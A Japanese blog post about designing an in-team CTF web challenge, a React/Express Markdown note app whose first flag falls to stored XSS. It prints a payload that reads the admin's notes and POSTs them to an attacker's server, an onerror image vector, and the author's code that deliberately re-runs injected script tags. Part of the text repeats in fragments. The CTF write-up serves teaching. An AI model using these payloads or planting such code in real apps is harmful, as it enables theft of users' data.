チーム内CTFで作問した話 - XSS編
チーム内CTFで作問した話 - XSS編:
この記事は m1z0r3 Advent Calendar 2018 の8日目です。
前回 チーム内CTFで作問した話 - プロトタイプ汚染攻撃編 - Qiita という記事を書きましたが、その続きです。
出題した問題は、Qiita のように Markdown でメモが作成できる簡易 Web アプリケーションです。
FLAG が 2 つあり、1つ目の FLAG が簡単な XSS により手に入り、2つ目の FLAG がプロトタイプ汚染攻撃により手に入るようになっています。
SPA でできており、フロントエンドは React、サーバサイドは Express で書かれています。
ノートを投稿すると、Admin が投稿を確認しに来るというシンプルな設定です。また、FLAG は Admin が最初に投稿したノートに書かれています(当日は問題文にそのことが書いてありました)。
普通にアプリケーション上のエディタで XSS を試しても
しかし、 Markdown の変換はクライアント側で行なっており、作成時にタイトルと Markdown の本文、Markdown をパースした HTML を送信しています。そして、作成されたノートでは、送信された HTML をそのまま表示しています。
したがって、 Burp suite でリクエストを書き換えるなり、 Postman 等で送信するなりすれば XSS は可能です。
あとは以下のような内容を POST すれば FLAG にたどり着けます。
ここまでの話は CTF ではよくある XSS の問題であり、難易度としても高くないと思います。
しかし、作問が終わって試した際にあることに気付きました。
「あれ、XSS できない!?」
この問題はクライアント側は React を使っており、SPA になっています。投稿したノートを見るとき(
そこで、React では
どうやら MDN によると、
さて、実際には
実は
これを利用して、 API 経由で情報を取ってきた後に、ノートの本文の HTML 中の
これにより、無理やりですが、ノートに書かれた
この記事は m1z0r3 Advent Calendar 2018 の8日目です。
前回 チーム内CTFで作問した話 - プロトタイプ汚染攻撃編 - Qiita という記事を書きましたが、その続きです。
問題の概要
出題した問題は、Qiita のように Markdown でメモが作成できる簡易 Web アプリケーションです。FLAG が 2 つあり、1つ目の FLAG が簡単な XSS により手に入り、2つ目の FLAG がプロトタイプ汚染攻撃により手に入るようになっています。
SPA でできており、フロントエンドは React、サーバサイドは Express で書かれています。
ノートを投稿すると、Admin が投稿を確認しに来るというシンプルな設定です。また、FLAG は Admin が最初に投稿したノートに書かれています(当日は問題文にそのことが書いてありました)。
解答
普通にアプリケーション上のエディタで XSS を試しても <script>
タグは使えません。しかし、 Markdown の変換はクライアント側で行なっており、作成時にタイトルと Markdown の本文、Markdown をパースした HTML を送信しています。そして、作成されたノートでは、送信された HTML をそのまま表示しています。
したがって、 Burp suite でリクエストを書き換えるなり、 Postman 等で送信するなりすれば XSS は可能です。
あとは以下のような内容を POST すれば FLAG にたどり着けます。
<script> fetch('/api/notes', { credentials: 'include' }) .then(r => r.text()) .then(text => fetch('Your Server', { method: 'POST', body: text })) </script>
ここから本題
ここまでの話は CTF ではよくある XSS の問題であり、難易度としても高くないと思います。しかし、作問が終わって試した際にあることに気付きました。
「あれ、XSS できない!?」
この問題はクライアント側は React を使っており、SPA になっています。投稿したノートを見るとき(
/notes/:uuid
にアクセスしたとき)に以下の手順を踏みます。- Express によって index.html が返される(それにより webpack により build された index.js が読み込まれる)
- index.js が実行され、 React が DOM を生成
- ノートの内容を取得するために axios で
/api/notes/:uuid
を叩く(その間は Loading ... が表示される) - API の結果を元に再度 React がノートを描画する
そこで、React では
dangerouslySetInnerHTML
というのを用いて HTML (の文字列)から DOM を生成します。ここで私は勘違いをしていて、てっきり <script>
も実行されると思っていたのですが、 dangerouslySetInnerHTML
で挿入した <script>
は実行されません。1どうやら MDN によると、
Element.innerHTML
で <script>
を追加した場合には実行されないようです。ここでさらに勘違いをして、 実際には MDN のページにあるように <img src='x' onerror='alert(1)'>
などで XSS できる のですが(なので dangerouslySetInnerHTML
を使うときは XSS に注意)、XSS できないと思い込んでしまい四苦八苦します。
XSS させるためにした工夫
さて、実際には onerror
等で XSS は可能(つまり問題として成立済み)なのですが、気がついていなかったので、ノートの本文中の <script>
を実行できるように頑張りました。実は
element.appendChild()
を用いると <script>
を実行することができます。これを利用して、 API 経由で情報を取ってきた後に、ノートの本文の HTML 中の
<script>
をすべて探し出し、 appendChild
で最後にまとめて追加しました。const fragment: DocumentFragment = document.createDocumentFragment() const mdBody = document.createElement('div') mdBody.className = 'markdown-body' mdBody.innerHTML = this.state.note!.body fragment.appendChild(mdBody) const scripts = mdBody.getElementsByTagName('script') for (const script of Array.from(scripts)) { const element = document.createElement('script') element.type = 'text/javascript' element.async = true if (script.src) element.src = script.src element.innerHTML = script.innerHTML fragment.appendChild(element) } this.state.instance.appendChild(fragment)
script
を実行できるようになりました。
コメント
コメントを投稿